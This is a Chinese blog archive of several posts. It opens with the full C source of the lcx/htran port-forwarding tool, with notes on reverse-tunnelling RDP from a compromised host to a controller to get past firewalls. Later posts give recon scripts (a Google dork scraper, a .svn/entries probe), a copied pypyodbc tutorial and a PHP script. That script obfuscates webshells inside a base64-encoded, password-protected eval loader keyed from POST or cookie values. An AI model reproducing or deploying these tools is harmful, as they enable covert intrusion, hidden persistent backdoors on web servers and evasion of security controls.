lcx的源码

发布时间:July 5, 2015 // 分类:工作日志,代码学习,VC/C/C++,windows,生活琐事 // No Comments

// htran.cpp 
  
/* 
用法说明: 
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile] 
 
[option:] 
  -listen <ConnectPort> <TransmitPort> 
  -tran   <ConnectPort> <TransmitHost> <TransmitPort> 
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort> 
 
备注: 
-listen 后面接的两个端口都是监听功能,即:被动连接 
-tran   这个就是最容易理解的端口转发功能 
-slave  后面接的两个地址和端口都是指本机要去主动连接的 
 
反弹3389: 
1、肉鸡上运行:lcx.exe -slave 控制机IP 80 127.0.0.1 3389 
2、控制机运行:lcx.exe -listen 80 3389 
3、之后在控制机上连接本地的3389即可,这样做的效果就是通过80端口实现了远程桌面的功能,而且还是肉鸡自己反弹外连出来的,因此能很好的绕过防火墙和内网的限制。 
*/  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <winsock2.h>  
#include <errno.h>  
#include <signal.h>  
#include <io.h>  
  
#pragma comment(lib, "ws2_32.lib")  
  
#define VERSION     "1.00"  
#define TIMEOUT     300  
#define MAXSIZE     20480 //20KB  
#define HOSTLEN     40  
#define CONNECTNUM  5  
  
struct transocket  
{  
    SOCKET fd1;  
    SOCKET fd2;  
};  
  
//void ver();  
//void proxy(int port);  
  
void usage(char *prog);  
  
void getctrlc(int j);  
void closeallfd();  
void makelog(char *buffer, int length);  
int testifisvalue(char *str);  
  
void bind2bind(int port1, int port2);  
void bind2conn(int port1, char *host, int port2);  
void conn2conn(char *host1, int port1, char *host2, int port2);  
  
int create_socket();  
int create_server(int sockfd, int port);  
int client_connect(int sockfd, char* server, int port);  
  
void transmitdata(LPVOID data);  
  
extern int errno;  
  
FILE *fp;  
  
int method=0;  
  
VOID main(int argc, char* argv[])  
{  
    char **p;  
  
    char sConnectHost[HOSTLEN];  
    char sTransmitHost[HOSTLEN];  
  
    int iConnectPort=0;  
    int iTransmitPort=0;  
  
    char *logfile=NULL;  
  
    memset(sConnectHost, 0, HOSTLEN);  
    memset(sTransmitHost, 0, HOSTLEN);  
  
    p=argv;  
    while(*p)  
    {  
        if(_stricmp(*p, "-log") == 0)  
        {  
            if(testifisvalue(*(p+1)))  
            {  
                logfile = *(++p);  
            }  
            else  
            {  
                printf("[-] ERROR: Must supply logfile name.\r\n");  
                return;  
            }  
            p++;  
            continue;  
        }  
  
        p++;  
    }  
  
    if(logfile !=NULL)  
    {  
        fp = fopen(logfile,"a");  
        if(fp == NULL )  
        {  
            printf("[-] ERROR: open logfile");  
            return;  
        }  
  
        makelog("====== Start ======\r\n", 0);  
    }  
  
    WSADATA wsadata;  
    WSAStartup(MAKEWORD(1, 1), &wsadata);  
  
    signal(SIGINT, &getctrlc);  
  
    if(argc > 2)  
    {  
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)  
        {  
            iConnectPort = atoi(argv[2]);  
            iTransmitPort = atoi(argv[3]);  
            method = 1;  
        }  
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)  
        {  
            iConnectPort = atoi(argv[2]);  
            strncpy(sTransmitHost, argv[3], HOSTLEN);  
            iTransmitPort = atoi(argv[4]);  
            method = 2;  
        }  
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)  
        {  
            strncpy(sConnectHost, argv[2], HOSTLEN);  
            iConnectPort = atoi(argv[3]);  
            strncpy(sTransmitHost, argv[4], HOSTLEN);  
            iTransmitPort = atoi(argv[5]);  
            method = 3;  
        }  
    }  
  
    switch(method)  
    {  
    case 1:  
        bind2bind(iConnectPort, iTransmitPort);  
        break;  
    case 2:  
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    case 3:  
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);  
        break;  
    default:  
        usage(argv[0]);  
        break;  
    }  
  
    if(method)  
    {  
        closeallfd();  
    }  
  
    WSACleanup();  
  
    return;  
}  
  
VOID usage(char* prog)  
{  
    printf("[Usage of Packet Transmit:]\r\n");  
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);  
    printf("[option:]\n");  
    printf(" -listen <ConnectPort> <TransmitPort>\n");  
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");  
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");  
  
    return;  
}  
  
//************************************************************************************  
//  
// test if is value  
//  
//************************************************************************************  
int testifisvalue(char *str)  
{  
    if(str == NULL ) return(0);  
  
    if(str[0]=='-') return(0);  
  
    return(1);  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort  
//  
//************************************************************************************  
void bind2bind(int port1, int port2)  
{  
    SOCKET fd1,fd2,sockfd1,sockfd2;  
    struct sockaddr_in client1,client2;  
    int size1,size2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if((fd1=create_socket())==0) return;  
    if((fd2=create_socket())==0) return;  
  
    printf("[+] Listening port %d ......\r\n",port1);  
    fflush(stdout);  
  
    if(create_server(fd1, port1)==0)  
    {  
        closesocket(fd1);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    printf("[+] Listening port %d ......\r\n",port2);  
    fflush(stdout);  
  
    if(create_server(fd2, port2)==0)  
    {  
        closesocket(fd2);  
        return;  
    }  
  
    printf("[+] Listen OK!\r\n");  
    size1=size2=sizeof(struct sockaddr);  
  
    while(1)  
    {  
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);  
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)  
        {  
            printf("[-] Accept1 error.\r\n");  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));  
        printf("[+] Waiting another Client on port:%d....\r\n", port2);  
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)  
        {  
            printf("[-] Accept2 error.\r\n");  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));  
        printf("[+] Accept Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void bind2conn(int port1, char *host, int port2)  
{  
    SOCKET sockfd,sockfd1,sockfd2;  
    struct sockaddr_in remote;  
    int size;  
    char buffer[1024];  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
  
    if (port1 > 65535 || port1 < 1)  
    {  
        printf("[-] ConnectPort invalid.\r\n");  
        return;  
    }  
  
    if (port2 > 65535 || port2 < 1)  
    {  
        printf("[-] TransmitPort invalid.\r\n");  
        return;  
    }  
  
    memset(buffer,0,1024);  
  
    if((sockfd=create_socket()) == INVALID_SOCKET) return;  
  
    if(create_server(sockfd, port1) == 0)  
    {  
        closesocket(sockfd);  
        return;  
    }  
  
    size=sizeof(struct sockaddr);  
    while(1)  
    {  
        printf("[+] Waiting for Client ......\r\n");  
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)  
        {  
            printf("[-] Accept error.\r\n");  
            continue;  
        }  
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));  
        if((sockfd2=create_socket())==0)  
        {  
            closesocket(sockfd1);  
            continue;  
        }  
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);  
        fflush(stdout);  
        if(client_connect(sockfd2,host,port2)==0)  
        {  
            closesocket(sockfd2);  
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);  
            send(sockfd1,buffer,strlen(buffer),0);  
            memset(buffer, 0, 1024);  
            closesocket(sockfd1);  
            continue;  
        }  
  
        printf("[+] Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort  
//  
//************************************************************************************  
void conn2conn(char *host1,int port1,char *host2,int port2)  
{  
    SOCKET sockfd1,sockfd2;  
  
    HANDLE hThread=NULL;  
    transocket sock;  
    DWORD dwThreadID;  
    fd_set fds;  
    int l;  
    char buffer[MAXSIZE];  
  
    while(1)  
    {  
        if((sockfd1=create_socket())==0) return;  
        if((sockfd2=create_socket())==0) return;  
  
        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);  
        fflush(stdout);  
        if(client_connect(sockfd1,host1,port1)==0)  
        {  
            closesocket(sockfd1);  
            closesocket(sockfd2);  
            continue;  
        }  
  
        // fix by bkbll  
        // if host1:port1 recved data, than connect to host2,port2  
        l=0;  
        memset(buffer,0,MAXSIZE);  
        while(1)  
        {  
            FD_ZERO(&fds);  
            FD_SET(sockfd1, &fds);  
  
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)  
            {  
                if (errno == WSAEINTR) continue;  
                break;  
            }  
            if (FD_ISSET(sockfd1, &fds))  
            {  
                l=recv(sockfd1, buffer, MAXSIZE, 0);  
                break;  
            }  
            Sleep(5);  
        }  
  
        if(l<=0)  
        {  
            printf("[-] There is a error...Create a new connection.\r\n");  
            continue;  
        }  
        while(1)  
        {  
            printf("[+] Connect OK!\r\n");  
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);  
            fflush(stdout);  
            if(client_connect(sockfd2,host2,port2)==0)  
            {  
                closesocket(sockfd1);  
                closesocket(sockfd2);  
                continue;  
            }  
  
            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)  
            {  
                printf("[-] Send failed.\r\n");  
                continue;  
            }  
  
            l=0;  
            memset(buffer,0,MAXSIZE);  
            break;  
        }  
  
        printf("[+] All Connect OK!\r\n");  
  
        sock.fd1 = sockfd1;  
        sock.fd2 = sockfd2;  
  
        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);  
        if(hThread == NULL)  
        {  
            TerminateThread(hThread, 0);  
            return;  
        }  
  
        Sleep(1000);  
        printf("[+] CreateThread OK!\r\n\n");  
    }  
}  
  
//************************************************************************************  
//  
// Socket Transmit to Socket  
//  
//************************************************************************************  
void transmitdata(LPVOID data)  
{  
    SOCKET fd1, fd2;  
  
    transocket *sock;  
    struct timeval timeset;  
    fd_set readfd,writefd;  
  
    int result,i=0;  
  
    char read_in1[MAXSIZE],send_out1[MAXSIZE];  
    char read_in2[MAXSIZE],send_out2[MAXSIZE];  
  
    int read1=0,totalread1=0,send1=0;  
    int read2=0,totalread2=0,send2=0;  
  
    int sendcount1,sendcount2;  
  
    int maxfd;  
  
    struct sockaddr_in client1,client2;  
    int structsize1,structsize2;  
  
    char host1[20],host2[20];  
    int port1=0,port2=0;  
  
    char tmpbuf[100];  
  
    sock = (transocket *)data;  
    fd1 = sock->fd1;  
    fd2 = sock->fd2;  
  
    memset(host1,0,20);  
    memset(host2,0,20);  
    memset(tmpbuf,0,100);  
  
    structsize1=sizeof(struct sockaddr);  
    structsize2=sizeof(struct sockaddr);  
  
    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)  
    {  
        strcpy(host1, "fd1");  
    }  
    else  
    {  
        strcpy(host1, inet_ntoa(client1.sin_addr));  
        port1=ntohs(client1.sin_port);  
    }  
  
    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)  
    {  
        strcpy(host2,"fd2");  
    }  
    else  
    {  
        strcpy(host2, inet_ntoa(client2.sin_addr));  
        port2=ntohs(client2.sin_port);  
    }  
  
    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);  
  
    maxfd=max(fd1,fd2)+1;  
    memset(read_in1,0,MAXSIZE);  
    memset(read_in2,0,MAXSIZE);  
    memset(send_out1,0,MAXSIZE);  
    memset(send_out2,0,MAXSIZE);  
  
    timeset.tv_sec=TIMEOUT;  
    timeset.tv_usec=0;  
  
    while(1)  
    {  
        FD_ZERO(&readfd);  
        FD_ZERO(&writefd);  
  
        FD_SET((UINT)fd1, &readfd);  
        FD_SET((UINT)fd1, &writefd);  
        FD_SET((UINT)fd2, &writefd);  
        FD_SET((UINT)fd2, &readfd);  
  
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);  
        if((result<0) && (errno!=EINTR))  
        {  
            printf("[-] Select error.\r\n");  
            break;  
        }  
        else if(result==0)  
        {  
            printf("[-] Socket time out.\r\n");  
            break;  
        }  
  
        if(FD_ISSET(fd1, &readfd))  
        {  
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */  
            if(totalread1<MAXSIZE)  
            {  
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);  
                if((read1==SOCKET_ERROR) || (read1==0))  
                {  
                    printf("[-] Read fd1 data error,maybe close?\r\n");  
                    break;  
                }  
  
                memcpy(send_out1+totalread1,read_in1,read1);  
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);  
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in1,read1);  
  
                totalread1+=read1;  
                memset(read_in1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &writefd))  
        {  
            int err=0;  
            sendcount1=0;  
            while(totalread1>0)  
            {  
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);  
  
                if(send1==0) break;  
  
                if((send1<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd2 unknow error.\r\n");  
                    err=1;  
                    break;  
                }  
  
                if((send1<0) && (errno==ENOSPC)) break;  
  
                sendcount1+=send1;  
                totalread1-=send1;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);  
            }  
  
            if(err==1) break;  
  
            if((totalread1>0) && (sendcount1>0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out1,send_out1+sendcount1,totalread1);  
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);  
            }  
            else  
            {  
                memset(send_out1,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd2, &readfd))  
        {  
            if(totalread2<MAXSIZE)  
            {  
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);  
  
                if(read2==0) break;  
  
                if((read2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");  
                    break;  
                }  
  
                memcpy(send_out2+totalread2,read_in2,read2);  
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);  
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);  
  
                makelog(tmpbuf,strlen(tmpbuf));  
                makelog(read_in2,read2);  
  
                totalread2+=read2;  
                memset(read_in2,0,MAXSIZE);  
            }  
        }  
  
        if(FD_ISSET(fd1, &writefd))  
        {  
            int err2=0;  
            sendcount2=0;  
            while(totalread2>0)  
            {  
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);  
  
                if(send2==0) break;  
  
                if((send2<0) && (errno!=EINTR))  
                {  
                    printf("[-] Send to fd1 unknow error.\r\n");  
                    err2=1;  
                    break;  
                }  
  
                if((send2<0) && (errno==ENOSPC)) break;  
  
                sendcount2+=send2;  
                totalread2-=send2;  
  
                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);  
            }  
  
            if(err2==1) break;  
            if((totalread2>0) && (sendcount2 > 0))  
            {  
                /* move not sended data to start addr */  
                memcpy(send_out2, send_out2+sendcount2, totalread2);  
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);  
            }  
            else  
            {  
                memset(send_out2,0,MAXSIZE);  
            }  
        }  
  
        Sleep(5);  
    }  
  
    closesocket(fd1);  
    closesocket(fd2);  
  
    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");  
}  
  
int create_socket()  
{  
    int sockfd;  
  
    sockfd=socket(AF_INET,SOCK_STREAM,0);  
    if(sockfd<0)  
    {  
        printf("[-] Create socket error.\r\n");  
        return(0);  
    }  
  
    return(sockfd);  
}  
  
int create_server(int sockfd,int port)  
{  
    struct sockaddr_in srvaddr;  
    int on=1;  
  
    memset(&srvaddr, 0, sizeof(struct sockaddr));  
  
    srvaddr.sin_port=htons(port);  
    srvaddr.sin_family=AF_INET;  
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);  
  
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port  
  
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Socket bind error.\r\n");  
        return(0);  
    }  
  
    if(listen(sockfd,CONNECTNUM)<0)  
    {  
        printf("[-] Socket Listen error.\r\n");  
        return(0);  
    }  
  
    return(1);  
}  
  
int client_connect(int sockfd,char* server,int port)  
{  
    struct sockaddr_in cliaddr;  
    struct hostent *host;  
  
    if(!(host=gethostbyname(server)))  
    {  
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);  
        return(0);  
    }  
  
    memset(&cliaddr, 0, sizeof(struct sockaddr));  
    cliaddr.sin_family=AF_INET;  
    cliaddr.sin_port=htons(port);  
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);  
  
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)  
    {  
        printf("[-] Connect error.\r\n");  
        return(0);  
    }  
    return(1);  
}  
  
void makelog(char *buffer,int length)  
{  
    if (0 == length)  
    {  
        length = strlen(buffer);  
    }  
  
    if (fp != NULL)  
    {  
        _write(_fileno(fp),buffer,length);  
    }  
}  
  
void getctrlc(int j)  
{  
    printf("\r\n[-] Received Ctrl+C\r\n");  
    closeallfd();  
    exit(0);  
}  
  
void closeallfd()  
{  
    int i;  
  
    printf("[+] Let me exit ......\r\n");  
    fflush(stdout);  
  
    for(i=3; i<256; i++)  
    {  
        closesocket(i);  
    }  
  
    if(fp != NULL)  
    {  
        fprintf(fp,"\r\n====== Exit ======\r\n");  
        fclose(fp);  
    }  
  
    printf("[+] All Right!\r\n");  
}  

 

python 域名转IP

发布时间:July 2, 2015 // 分类:运维工作,工作日志,开发笔记,代码学习,linux,windows,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import urlparse

def getIp(domain):
    trytime = 0
    while True:
         try:
            domain = domain.split(':')[0]
            myaddr = socket.getaddrinfo(domain,None)[0][4][0]
            return myaddr
         except:
            trytime+=1
            if trytime>3:
                return ""

if __name__=='__main__':
    www = "http://0cx.cc"
    hosts = urlparse.urlsplit(www)
    if ":" in hosts.netloc:
        host = hosts.netloc.split(":")[0]
        port = hosts.netloc.split(":")[1]
    else:
        host = hosts.netloc
        port = '80'
        print getIp(host)

 

最近在抓几个payload(java反序列的),准备拿socket来实现。暂时只能是模拟发包。

抓包工具 wireshark
在线python 沙盒 http://www.runoob.com/try/runcode.php?filename=HelloWorld&type=python

主要为了方便部分是有域名的。同时域名会转换为IP而准备的。一个从谷歌的搜索抓取结果的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os,sys,requests,re
import pdb,urllib
from urllib import unquote
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36',
    'content-type': 'application/x-www-form-urlencoded',
    }
def google(domain):
    #domain ='site:0day5.com inurl:php'
    r =requests.get('https://www.google.com.hk/search?q='+domain+'&aqs=chrome..69i57j69i58.2444j0j9&sourceid=chrome&es_sm=91&ie=UTF-8&start=1&num=1000&',headers=headers)
    matc = re.findall('u=(.*?)&amp;prev=search',r.content)
    #page = re.findall("<div id=\"resultStats\">(.*?)<nobr>",r.text)
    #print page
    for url in matc:
        print unquote(url)

if __name__=="__main__": 
      
    if len(sys.argv)!=2: 
        print "Usage:"+"python"+" test.py "+"keywords"
        print "example:"+"python test.py site:0day5.com"
        sys.exit() 
    else: 
        google(sys.argv[1])

一个svn的探测脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
r = requests.get('http://www.baidu.com/.svn/entries')
#print r.headers
get=r.text.split('\n')
dir=[get[i-1] for i in range(len(get)) if get[i]=='dir' and get[i-1]!='']
file=[get[i-1] for i in range(len(get)) if get[i]=='file' and get[i-1]!='']
print dir
print file

 

about pypyodbc

发布时间:June 26, 2015 // 分类:工作日志,运维工作,代码学习,linux,python,转帖文章,windows // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,转帖文章,windows // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
